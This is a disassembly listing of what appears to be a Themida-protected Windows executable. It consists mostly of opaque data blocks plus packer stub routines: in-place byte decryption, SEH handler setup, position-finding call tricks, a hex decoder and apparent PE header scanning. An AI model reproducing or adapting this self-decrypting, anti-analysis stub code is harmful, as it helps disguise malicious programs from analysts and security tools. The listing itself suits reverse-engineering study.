		dd 0D1D0000h, 0CD7Eh, 0Dh dup(0)
		dd 5910000h, 77E8h, 4 dup(0)
		dd 0DE370000h, 0FFADh, 0
		dd 10000000h, 40h, 0B9h	dup(0)
		dd 155C0000h, 2, 2 dup(0)
		dd 30DF0000h, 2121A9C5h, 0B53D2121h, 0FA1Dh, 0
		dd 0C3960000h, 4Eh, 5C0000h, 3C0FFEDh, 7 dup(0)
		dd 648E0000h, 55h, 2 dup(0)
		dd 7F810000h, 6F55h, 40h, 2 dup(0)
		dd 7FDD0000h, 55h, 3 dup(0)
		dd 73FF0000h, 70EFh, 0EAF90000h, 51h, 0Fh dup(0)
		dd 42890000h, 7FACh, 5 dup(0)
		dd 53C60000h, 2624h, 19h dup(0)
		dd 49C00000h, 52h, 0
		dd 8CEE0000h, 55h, 0A00000h, 0AEDA0000h, 0E15Fh, 0Ch dup(0)
		dd 0C8F90000h, 52h, 0Ah	dup(0)
		dd 19800000h, 0D554F98Bh, 39AB0099h, 7FFEh, 5 dup(0)
		dd 21C90000h, 52h, 2Dh dup(0)
		dd 6CB0000h, 5120h, 0
		dd 25AB0000h, 1FFF0000h, 2 dup(0)
		dd 3040000h, 7FFEh, 0
		dd 0FCFC0000h, 8001h, 3	dup(0)
		dd 3040000h, 7FFEh, 0ED1D0000h,	77D5h, 4 dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 0D77E0000h, 5F61h, 5	dup(0)
		dd 0DE360000h, 0FF59h, 0
		dd 79730000h, 69DD77E7h, 9Ah, 39340000h, 0F9BAh, 7 dup(0)
		dd 0A5FE0000h, 77E7h, 0Dh dup(0)
		dd 65BB0000h, 7407h, 5220000h, 55h, 4 dup(0)
		dd 61040000h, 75B5AA5Dh, 0
		dd 20000h, 4 dup(0)
		dd 7D10000h, 4 dup(0)
		dd 21CD0000h, 5	dup(0)
		dd 0ACC50000h, 52h, 0A00F0000h,	9Ah, 24240000h,	2424h
		dd 3E3B0000h, 62D0009Ah, 55h, 2	dup(0)
		dd 5E2E0000h, 9Ah, 2 dup(0)
		dd 0DE330000h, 0C396FFFFh, 4Eh,	6E0B0000h, 4 dup(0)
		dd 0A5FE0000h, 9477E7h,	418D0000h, 52h,	0Eh dup(0)
		dd 4B400000h, 88E14Ch, 5 dup(0)
		dd 76BC0000h, 4	dup(0)
		dd 0F7DA0000h, 4972h, 2	dup(0)
		dd 0A6000000h, 0DA820052h, 0D583004Eh, 55h, 57460000h
		dd 0AD1Ah, 30DF0000h, 0A9C5h, 0
		dd 0AA4C0000h, 0FAAAh, 3 dup(0)
		dd 68630000h, 51h, 5 dup(0)
		dd 2BDE0000h, 9Ah, 0B9620000h, 4Eh, 2 dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 0FCFC0000h, 8001h, 4	dup(0)
		dd 1F640000h, 0F46Fh, 3	dup(0)
		dd 0B0F00000h, 1699h, 0C8960000h, 0A1FE4A71h, 0AAh, 0
		dd 0FFB00000h, 1FAh, 0
		dd 57940000h, 0A00F0052h, 9Ah, 3 dup(0)
		dd 0A47E0000h, 313629ADh, 14Ah,	10000h,	0
		dd 9360000h, 53h, 0
		dd 8A80000h, 0
		dd 68630000h, 8D8D0051h, 724Fh,	8 dup(0)
		dd 0FFFF0000h, 77DFh, 3	dup(0)
		dd 6E0B0000h, 3	dup(0)
		dd 0E0CB0000h, 3D7Ch, 2	dup(0)
		dd 20F60000h, 0CC8C0055h, 2198DDDAh, 3451h, 4 dup(0)
		dd 8A80000h, 0
		dd 56430000h, 0Ah dup(0)
		dd 0BEE90000h, 3636000Ch, 0EE0D3636h, 54h, 6 dup(0)
		dd 2F820000h, 4A2Dh, 5 dup(0)
		dd 0C7260000h, 4Eh, 0
		dd 0A8DF0000h, 52h, 2 dup(0)
		dd 55290000h, 231AB2h, 52h, 71D0000h, 0Ah dup(0)
		dd 34300000h, 312Dh, 2 dup(0)
		dd 0B3B20000h, 4Eh, 0
		dd 0E6920000h, 5DF4003Eh, 7 dup(0)
		dd 86040000h, 7F8Ch, 2 dup(0)
		dd 0FCFC0000h, 8001h, 5	dup(0)
		dd 740000h, 2 dup(0)
		dd 0E56E0000h, 1C83Fh, 4 dup(0)
		dd 69DD0000h, 9Ah, 3 dup(0)
		dd 84800000h, 0
		dd 40000h, 0
		dd 3E0000h, 5EDB0099h, 0AB29h, 0AC0000h, 0F2AAFFEDh, 2132h
		dd 3 dup(0)
		dd 99B30000h, 979D0052h, 9393FFAEh, 0A500009Ah,	0FFFFh
		dd 0
		dd 90980000h, 0A600931Eh, 52h, 0
		dd 0AC0000h, 9D540000h,	915BFFFFh, 39AB009Ah, 7FFEh, 0
		dd 8B810000h, 7973h, 2 dup(0)
		dd 0BDDE0000h, 49A8h, 0Dh dup(0)
		dd 230000h, 4Eh, 9 dup(0)
		dd 0A00F0000h, 0A5FC009Ah, 53h,	6 dup(0)
		dd 0D4310000h, 0EBB0h, 9 dup(0)
		dd 7C900000h, 0FFE00054h, 12h, 2 dup(0)
		dd 0A0990000h, 77E7h, 0
		dd 0B53D0000h, 0FA1Dh, 0
		dd 8EB0000h, 0
		dd 96AA0000h, 8B820012h, 0C6A177E7h, 227Bh, 0
		dd 0B60776B4h, 14EBA646h, 78E83417h, 54h, 800000h, 4 dup(0)
		dd 20000h, 5 dup(0)
		dd 900000h, 0Bh	dup(0)
		dd 0FFB00000h, 892701DAh, 55h, 4 dup(0)
		dd 0A00F0000h, 49D2009Ah, 0A00F0052h, 19009Ah, 3 dup(0)
		dd 0A53C0000h, 0
		dd 8D8D0000h, 5B007069h, 2 dup(0)
		dd 99E90000h, 1D990000h, 5EBFh,	0Bh dup(0)
		dd 0FF540000h, 12h, 69DD0000h, 9Ah, 0A1440000h,	77E7h
		dd 3E680000h, 77E8h, 2 dup(0)
		dd 10000h, 4 dup(0)
		dd 0B1340000h, 9Ch, 9 dup(0)
		dd 0F1F40000h, 0EADFD62Bh, 51h,	9 dup(0)
		dd 0CF920000h, 0BFFF004Eh, 57h,	2 dup(0)
		dd 79F60000h, 55h, 6 dup(0)
		dd 0EDC60000h, 0D4B0h, 0
		dd 3C6A0000h, 0B0ACFFB1h, 805Ah, 8ADC0000h, 0FFFFh, 0B7800000h
		dd 2Dh dup(0)
		dd 0B80000h, 0B000000h,	0C20374C0h, 448B0018h, 0E8530C24h
		dd 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 9AA037B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	12h dup(0)
		dd offset dword_450050+1FFB0h
		dd 0E4D5AAh, 417C0000h,	77E8h, 3 dup(0)
		dd 77DDh, 788B0000h, 53h, 0
		dd 1B3577F5h, 3E2D35D2h, 0
		dd 77D10000h, 8	dup(0)
		dd 0B53D0000h, 0FA1Dh, 2 dup(0)
		dd 34EB0000h, 3044649h,	7FFEh, 6 dup(0)
		dd 3040000h, 7FFEh, 8420000h, 98FFCFh, 1DEF0000h, 23A2h
		dd 2 dup(0)
		dd 17C30000h, 47h, 0A0370000h, 9Ah, 0E96D0000h,	2140004Eh
		dd 2, 0EDB60000h, 0FFF7h, 59260000h, 51h, 3 dup(0)
		dd 0C96A0000h, 77D4h, 5	dup(0)
		dd 0CE3D0000h, 20052h, 2 dup(0)
		dd 5ECC0000h, 284877DDh, 0FF06h, 22DC0000h, 56h, 0F0140000h
		dd 19A10008h, 9018h, 3 dup(0)
		dd 0FF600000h, 0EE80012h, 142Dh, 2 dup(0)
		dd 0A00F0000h, 9Ah, 0
		dd 1FC10000h, 55h, 1D980000h, 5EBFh, 0E2F00000h, 0A6E90052h
		dd 0C61777EBh, 0FFF9h, 7 dup(0)
		dd 0A47E0000h, 0FFC429ADh, 0F39C0012h, 53h, 0AA000000h
		dd 0FFB30003h, 19371D5Fh, 54h, 0
		dd 5520000h, 8400055h, 86h, 0C3E0000h, 5CC1h, 0
		dd 0CA600000h, 0E151h, 0FFB00000h, 39E9015Ah, 52AD0006h
		dd 4588h, 2 dup(0)
		dd 840000h, 2 dup(0)
		dd 49C00000h, 3A00052h,	2 dup(0)
		dd 35740000h, 96730055h, 0FE2Ah, 0A8FD0256h, 304FFFFh
		dd 7FFEh, 12h dup(0)
		dd 374F0000h, 53h, 0
		dd 18FE0000h, 54h, 0
		dd 5C0000h, 0
		dd 1B350000h, 35D2h, 7 dup(0)
		dd 0E0D10000h, 0C6BCh, 0C5900000h, 0DFF2h, 5D80000h, 77E8h
		dd 4 dup(0)
		dd 8400000h, 86h, 3 dup(0)
		dd 9B390000h, 3866h, 8400000h, 86h, 0Bh	dup(0)
		dd 7BB90000h, 0A87E7CBEh, 81DFFADh, 1DD2h, 2B3F0000h, 9A94h
		dd 2 dup(0)
		dd 0E6410000h, 53h, 0F47C0000h,	53h, 11h dup(0)
		dd 5A130000h, 0FF06h, 3	dup(0)
		dd 275B0000h, 53h, 0
		dd 418D0000h, 52h, 2 dup(0)
		dd 0FFB00000h, 1AAh, 66B80000h,	52h, 69DD0000h,	9Ah, 0
		dd 3040000h, 7FFEh, 0EDA20000h,	0BC260051h, 0AC5E004Eh
		dd 5B0077E7h, 0
		dd 9C0000h, 0A1290000h,	52h, 2 dup(0)
		dd 0FE60000h, 99h, 0
		dd 0AAC10000h, 1, 8C0A0000h, 9Ah, 0
		dd 0B22D0000h, 2222FA5Bh, 22222222h, 2222h, 3040000h, 7FFEh
		dd 3 dup(0)
		dd 7D760000h, 0E1C7FFFDh, 0B9E6004Eh, 0FFFFh, 969D0000h
		dd 0DBEh, 2 dup(0)
		dd 0D0000000h, 48h, 0
		dd 92340000h, 31B1009Ah, 0B53D0000h, 0
		dd 0A1290000h, 52h, 0
		dd 184E0000h, 53h, 2 dup(0)
		dd 8560000h, 0
		dd 73160000h, 9Ch, 4 dup(0)
		dd 33330000h, 2	dup(33333333h),	3BE83333h, 53h,	99h, 10h dup(0)
		dd 7B240000h, 1300D5B4h, 4 dup(0)
		dd 20000h, 4 dup(0)
		dd 8EB70000h, 4Ch, 2 dup(0)
		dd 0A5E70000h, 9Eh, 0Bh	dup(0)
		dd 0BC260000h, 4Eh, 5B000000h, 0C0000000h, 3040016h, 7FFEh
		dd 8D8D0000h, 0DB8F4718h, 1BEh,	7C0000h, 2 dup(0)
		dd 0B6D60000h, 0ED7A004Eh, 51h,	8B820000h, 77E7h, 0
		dd 22D80000h, 9Bh, 9B380000h, 3866h, 0D75B0000h, 7476h
		dd 84D00000h, 0A78Fh, 2	dup(0)
		dd 44180000h, 0A331h, 3	dup(0)
		dd 0D40000h, 0D88A0000h, 0FFABh, 5 dup(0)
		dd 20000h, 2 dup(0)
		dd 21CD0000h, 0
		dd 0C96A0099h, 0F3ED77D4h, 1458h, 0
		dd 8, 68630000h, 51h, 9BAC0000h, 9Ch, 3	dup(0)
		dd 0FFB00000h, 17Ah, 2 dup(0)
		dd 5CB50000h, 77E7h, 0E4240000h, 54h, 0
		dd 10000h, 0
		dd 0C15A0000h, 52h, 0
		dd 0F1AC0000h, 99E9004Eh, 0
		dd 6E650000h, 2, 5EDB0000h, 0AB29h, 9 dup(0)
		dd 0C6CE0000h, 1FFF0055h, 0
		dd 3040000h, 7FFEh, 0FA560000h,	9Ah, 4 dup(0)
		dd 3040000h, 7FFEh, 4 dup(0)
		dd 30DF0000h, 0A9C5h, 0
		dd 2380000h, 40h, 2 dup(0)
		dd 33DA0000h, 2	dup(0)
		dd 0D07E0000h, 0B5D2h, 2 dup(0)
		dd 0A00F0000h, 9Ah, 84h	dup(0)
		dd 0F7C00000h, 0FF79h, 2 dup(0)
		dd 56780000h, 180B1234h, 77F5h,	0
		dd 63970000h, 53h, 9 dup(0)
		dd 0FFF00000h, 3040012h, 7FFEh,	4 dup(0)
		dd 6BCE0000h, 0B5E20243h, 8A0Fh, 0E1C60000h, 4Eh, 11110000h
		dd 1111h, 5 dup(0)
		dd 0FFA40000h, 0FCFC0012h, 8001h, 10000h, 0AB450000h, 1828h
		dd 8 dup(0)
		dd 39AB0000h, 74547FFEh, 0
		dd 6E0B0000h, 4	dup(0)
		dd 0A9880000h, 0EDCBh, 0BABC0000h, 1536Ah, 6, 0Bh dup(0)
		dd 0FE6E0000h, 0FFFFh, 0
		dd 255h, 0
		dd 0C7D60000h, 4Eh, 0F300000h, 0
		dd 589C0000h, 7FD80053h, 9Ch, 5	dup(0)
		dd 3040000h, 0D7067FFEh, 1E5F77E6h, 59740055h, 8655h, 3	dup(0)
		dd 3040000h, 7FFEh, 7BA0253h, 0
		dd 0A8h, 4 dup(0)
		dd 3040000h, 2FE87FFEh,	77E8h, 4 dup(0)
		dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h
		dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Dh dup(0)
		dd 91340000h, 0FFFFh, 4	dup(0)
		dd 0C02A0000h, 5B00004Eh, 0
		dd 0F80000h, 99h, 5 dup(0)
		dd 15F70000h, 8E94h, 12h dup(0)
		dd 2E880000h, 9866h, 0Dh dup(0)
		dd 254h, 2 dup(0)
		dd 0BA8E0000h, 0E60Fh, 3 dup(0)
		dd 0FFB00000h, 972A01FAh, 52h, 0C0CF0000h, 8EA55E1Bh, 97Dh
		dd 5 dup(0)
		dd 54F30000h, 70FFADh, 2 dup(0)
		dd 3040000h, 7FFEh, 6 dup(0)
		dd 69DD0000h, 9Ah, 2 dup(0)
		dd 49C00000h, 52h, 2 dup(0)
		dd 0E8E90000h, 4C2h, 0E8280000h, 4700h,	0
		dd 0B22D0000h, 0FA5Bh, 284h, 3 dup(0)
		dd 3040000h, 7FFEh, 4 dup(0)
		dd 1EDF0000h, 9Ah, 3 dup(0)
		dd 6A4D0000h, 15DBh, 0Ah dup(0)
		dd 0FF540000h, 12h, 3 dup(0)
		dd 47E50000h, 9DB20053h, 0BFFFh, 6 dup(0)
		dd 979D0000h, 0FFAEh, 3	dup(0)
		dd 3040000h, 7FFEh, 0
		dd 1DD80000h, 55E40000h, 0AF5DFC29h, 79A0h, 3 dup(0)
		dd 800000h, 0EBB30000h,	77F7h, 4EF30000h, 8D533881h, 9Eh
		dd 0
		dd 0A5FD0000h, 3FD377E7h, 142Dh, 3 dup(0)
		dd 6E0B0000h, 4	dup(0)
		dd 46B70000h, 30DF3849h, 0A9C5h, 4 dup(0)
		dd 69DD0000h, 3040000h,	7FFEh, 0
		dd 881B0000h, 0AF41h, 0
		dd 56430000h, 5	dup(0)
		dd 0FF340000h, 12h, 8400000h, 86h, 2 dup(0)
		dd 0C4860000h, 77E7h, 8	dup(0)
		dd 0EE2E0000h, 0A13F0053h, 77E7h, 0
		dd 0D04A0000h, 0FFFFh, 0
		dd 27760000h, 54h, 2 dup(0)
		dd 12CE0000h, 78EFFDh, 3 dup(0)
		dd 0C3960000h, 4Eh, 2 dup(0)
		dd 2BCF0000h, 144Fh, 0C77B0000h, 230000h, 52h, 2 dup(0)
		dd 68540000h, 64696D65h, 61h, 1Ch dup(0)
		dd 0EE2E0000h, 53h, 0
		dd 15640000h, 9Bh, 0D78A0000h, 0FFAAh, 6 dup(0)
		dd 0AC5E0000h, 77E7h, 9	dup(0)
		dd 0FCFA0000h, 2E0F8001h, 77F5h, 0Bh dup(0)
		dd 754B0000h, 4EA1h, 4 dup(0)
		dd 2FE80000h, 0BAC0002h, 0F3B1h, 0FF540000h, 12h, 2 dup(0)
		dd 0F81D0000h, 0BDDE0052h, 49A8h, 3 dup(0)
		dd 0E91F0000h, 728C3503h, 55h, 2 dup(0)
		dd 77D4h, 0
		dd 0F72B0000h, 11Ah, 64h dup(0)
		dd 3E0000h, 99h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4EE35A:				; CODE XREF: start:loc_4EB08Dj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 60332D7h
		mov	[ebp+6032125h],	edx
		mov	[ebp+6032931h],	esi
		mov	[ebp+6032969h],	eax
		cmp	dword ptr [ebp+6030E55h], 0
		jz	short loc_4EE392
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_4EE392:				; CODE XREF: start+5F370j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6033091h],	eax
		push	45h
		call	sub_4EE446
		push	783749Ah
		call	sub_4EE48C
		push	0A894B25h
		call	sub_4EE48C
		jmp	loc_4EE5D0
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4EE446	proc near		; CODE XREF: start+5F38Ap

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 60333C5h
		mov	ebx, edx
		mov	[ebp+var_28], 0

loc_4EE462:				; CODE XREF: sub_4EE446+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_4EE481
		mov	eax, [ebp+arg_0]
		mov	[ebx+603332Fh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_4EE462
; ---------------------------------------------------------------------------

loc_4EE481:				; CODE XREF: sub_4EE446+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_4EE446	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4EE48C	proc near		; CODE XREF: start+5F394p start+5F39Ep

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 603340Eh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0

loc_4EE4B2:				; CODE XREF: sub_4EE48C+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_4EE4B2
		mov	[ebp+var_84], 0
		lea	edi, [edx+603332Fh]
		lea	esi, [ebp+var_80]

loc_4EE4E2:				; CODE XREF: sub_4EE48C+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh

loc_4EE4EE:				; CODE XREF: sub_4EE48C+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_4EE4EE
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_4EE4E2
		popa
		leave
		retn	4
sub_4EE48C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_4EE52C
; ---------------------------------------------------------------------------

loc_4EE528:				; CODE XREF: Themida_:004EE52Fj
		inc	dword ptr [ebp-4]
		inc	esi

loc_4EE52C:				; CODE XREF: Themida_:004EE526j
		cmp	byte ptr [esi],	0
		jnz	short loc_4EE528
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_4EE5BD
; ---------------------------------------------------------------------------

loc_4EE53E:				; CODE XREF: Themida_:004EE5C0j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_4EE5B4
; ---------------------------------------------------------------------------

loc_4EE547:				; CODE XREF: Themida_:004EE5B8j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_4EE5A1
; ---------------------------------------------------------------------------

loc_4EE557:				; CODE XREF: Themida_:004EE5A5j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_4EE579
		cmp	bl, 39h
		ja	short loc_4EE579
		sub	bl, 30h
		jmp	short loc_4EE59B
; ---------------------------------------------------------------------------

loc_4EE579:				; CODE XREF: Themida_:004EE56Dj
					; Themida_:004EE572j
		cmp	bl, 61h
		jb	short loc_4EE58B
		cmp	bl, 66h
		ja	short loc_4EE58B
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_4EE59B
; ---------------------------------------------------------------------------

loc_4EE58B:				; CODE XREF: Themida_:004EE57Cj
					; Themida_:004EE581j
		cmp	bl, 41h
		jb	short loc_4EE59B
		cmp	bl, 46h
		ja	short loc_4EE59B
		sub	bl, 41h
		add	bl, 0Ah

loc_4EE59B:				; CODE XREF: Themida_:004EE577j
					; Themida_:004EE589j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]

loc_4EE5A1:				; CODE XREF: Themida_:004EE555j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_4EE557
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_4EE5B1
		mov	eax, [ebp-10h]
		stosb

loc_4EE5B1:				; CODE XREF: Themida_:004EE5ABj
		inc	dword ptr [ebp-8]

loc_4EE5B4:				; CODE XREF: Themida_:004EE545j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_4EE547
		add	edx, 4

loc_4EE5BD:				; CODE XREF: Themida_:004EE53Cj
		cmp	edx, [ebp-4]
		jb	loc_4EE53E
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4EE5D0:				; CODE XREF: start+5F3A3j
		mov	ecx, 7000h
		lea	edi, [ebp+6033554h]

loc_4EE5DB:				; CODE XREF: start+5F5CBj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_4EE5DB
		mov	eax, 48692121h
		mov	edx, 0F008F000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+6033662h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	esi
		call	sub_4EE617
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_4EE617	proc near		; CODE XREF: start+5F5FBp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_4EE617	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 11E8D88Ah, 9C000000h, 0C9CE4EBAh, 40360Dh, 16D84942h
		dd 0FDDF27AAh, 0C22B5BF9h, 0E8C0Fh, 81600000h, 1CAC28EFh
		dd 8E0F5Fh, 61000000h, 0FFF00025h, 8406BBFFh, 0CA8B6DE5h
		dd 8166FF33h, 755A4D38h, 50B70F0Eh, 81D0033Ch, 45503Ah
		dd 2D087400h, 1000h, 64E3EB47h,	58Fh, 0C4830000h, 75958D04h
		dd 52060336h, 35FF64h, 64000000h, 2589h, 0C1030000h, 10002Dh
		dd 4708B00h, 0E681h, 0FE81FFFFh, 80000000h, 708B0376h
		dd 83C0331Ch, 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh
		dd 0EBEB4000h, 33C7E8Bh, 503F81FEh, 74000045h, 64E8EB44h
		dd 58Fh, 0C4830000h, 51C36104h,	10244C8Bh, 0B0A981h, 10000000h
		dd 33590000h, 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 6033680h
		dd 363E858Dh, 81890603h, 0B8h, 0C033595Dh, 8F6496C3h, 5
		dd 4C48300h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	5CC35040h, 32EDBF6Bh, 0A6B2BB66h, 0F8D98C66h, 0BB04E180h
		dd 55978A22h, 850FC90Ah, 61h, 85C7DA8Bh, 6031D89h, 1, 0DE8h
		dd 4BF17400h, 0B57CB106h, 0E7E8CA5Ch, 0BB66DBE3h, 0E95B9B69h
		dd 6Eh,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah
		dd 15C35646h, 945E96F6h, 6E8B443h, 33000000h, 0E543D388h
		dd 58A0F8Bh, 0BB000000h, 181C7DD3h, 8985C75Bh, 6031Dh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0A91CC353h, 95FA85CFh,	5069BC3Dh
		dd 0DE8B6657h, 85895B5Bh, 60302E1h, 0FE8h, 998E2600h, 5C92AA93h
		dd 0F2B8E199h, 0E64707EDh, 5BD9B70Fh, 24718589h, 0EE80603h
		dd 3B000000h, 77D31C14h, 3F426651h, 2E0F126Ch, 830F52BDh
		dd 13h,	0EE9h, 0B57BE000h, 0BBBC2781h, 1329FB3Eh, 5A87BD24h
		dd 7C7BA5Fh, 0C781532Fh, 6CE5h,	7820Fh,	0B6600000h, 9ED580A8h
		dd 1AEDBB61h, 0BCBA0000h, 8B2CE13Ah, 0CAC88137h, 81144EDAh
		dd 2686C0EEh, 0FE95Fh, 67AD0000h, 0CB3E8B21h, 0EBB09BFAh
		dd 9D3DBCD1h, 0B5F681F9h, 660174CCh, 0E34AF081h, 80B8EE81h
		dd 830F6F88h, 4, 488EBA66h, 3870F56h, 66000000h, 78FC18Bh
		dd 9E9h, 0F17F8E00h, 0FD47A4FCh, 0EF81DED1h, 4FA67E5Bh
		dd 14E9h, 1F4BF800h, 8F2495CBh,	1D95DA31h, 24036B30h, 0B58A086Dh
		dd 57C781FAh, 604FA67Eh, 10E9h,	0DF577C00h, 7FEDFAADh
		dd 279D4BC6h, 339AE408h, 10E9DBh, 46800000h, 1B65EA77h
		dd 4FBEE627h, 5CB78012h, 836117CCh, 850F01EBh, 21h, 5840Fh
		dd 81660000h, 0E9497CE0h, 28h, 0E680DBC2h, 75F47B71h, 0C4BEADDBh
		dd 0EEE1F73Ch, 0E9C18B05h, 0FFFFFF27h, 1FF8F334h, 0DF6CDA9Eh
		dd 353CA2E8h, 1F3E77CAh, 639E9h, 217F900h, 9000000h, 325DD9Dh
		dd 840F6006h, 6, 19258509h, 0C02B0603h,	9A5B509h, 548B0603h
		dd 0E9F52824h, 10h, 9D9E585Ah, 0BDE20A1Ch, 0FD5BD465h
		dd 0C621681Dh, 2BD8589h, 8E90603h, 26000000h, 88745195h
		dd 0BE68875Ah, 3Ch, 97DBD29h, 3FC0603h,	89242474h, 3049585h
		dd 75B58906h, 66060307h, 599589ADh, 0F9060300h,	24244403h
		dd 0CE9h, 0E6318300h, 197D7190h, 22C6F436h, 666090EBh
		dd 0FB8BD08Bh, 6E95061h, 5F000000h, 0D06BBFF9h,	8B6090D7h
		dd 0CB8B66C2h, 78408B61h, 68D0Fh, 8D290000h, 6030FA5h
		dd 0C840Fh, 820F0000h, 6, 8F0Fh, 44030000h, 8D292824h
		dd 6032245h, 2918408Bh,	31DC9B5h, 9E906h, 1310000h, 34C0C879h
		dd 401928B6h, 8D8D8B60h, 89060305h, 326D9BDh, 85896106h
		dd 60338D5h, 0DD850160h, 0E906031Ch, 0Fh, 7E4B89ECh, 0C0F5E0E3h
		dd 5E060EDBh, 6135DCC4h, 708BF558h, 8850F78h, 60000000h
		dd 12F1950Bh, 0F8610603h, 0F51CC683h, 24247403h, 0C880Fh
		dd 7E90000h, 0F9000000h, 0BEF92C04h, 0BD8DCE78h, 6030649h
		dd 29899589h, 0FAD0603h, 1B8Fh,	59516000h, 11E8h, 97C9E800h
		dd 0E455832Bh, 0CF938C11h, 0B8B21D4Fh, 615AFB2Dh, 2559BD89h
		dd 44030603h, 95012424h, 6031BF9h, 6D9D29ABh, 8D060304h
		dd 308D5BDh, 89ADFC06h,	330DD85h, 24440306h, 0B1953124h
		dd 29060320h, 324B985h,	800F5006h, 0Ch,	68B0Fh,	8E0F0000h
		dd 0
		dd 0E9240489h, 9, 0BD0A79A3h, 5A3C799Dh, 0FF8AB03h, 186h
		dd 0BD8DF800h, 6030B99h, 6DB86660h, 0FAD6104h, 0A8Eh, 0CB8B6000h
		dd 2381BD31h, 0F5610603h, 28244403h, 9589ABF8h,	6030CE5h
		dd 8166605Eh, 0F017CF7h, 288h, 61C88A00h, 38D58DFFh, 0BD830603h
		dd 60338D5h, 0C7107500h, 1C2444h, 8D000000h, 33D21B5h
		dd 56E6FF06h, 244403ADh, 0DF8B9728h, 1BA1858Ah,	0C0840603h
		dd 73A0474h, 32574C75h,	0FD75AEC0h, 52FB2B5Eh, 49C933FCh
		dd 0C033D18Bh, 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h
		dd 73D8D166h, 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h
		dd 754FD333h, 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h
		dd 835E0F74h, 85FF04C6h, 60302BDh, 0FFFF6FE9h, 9D895EFFh
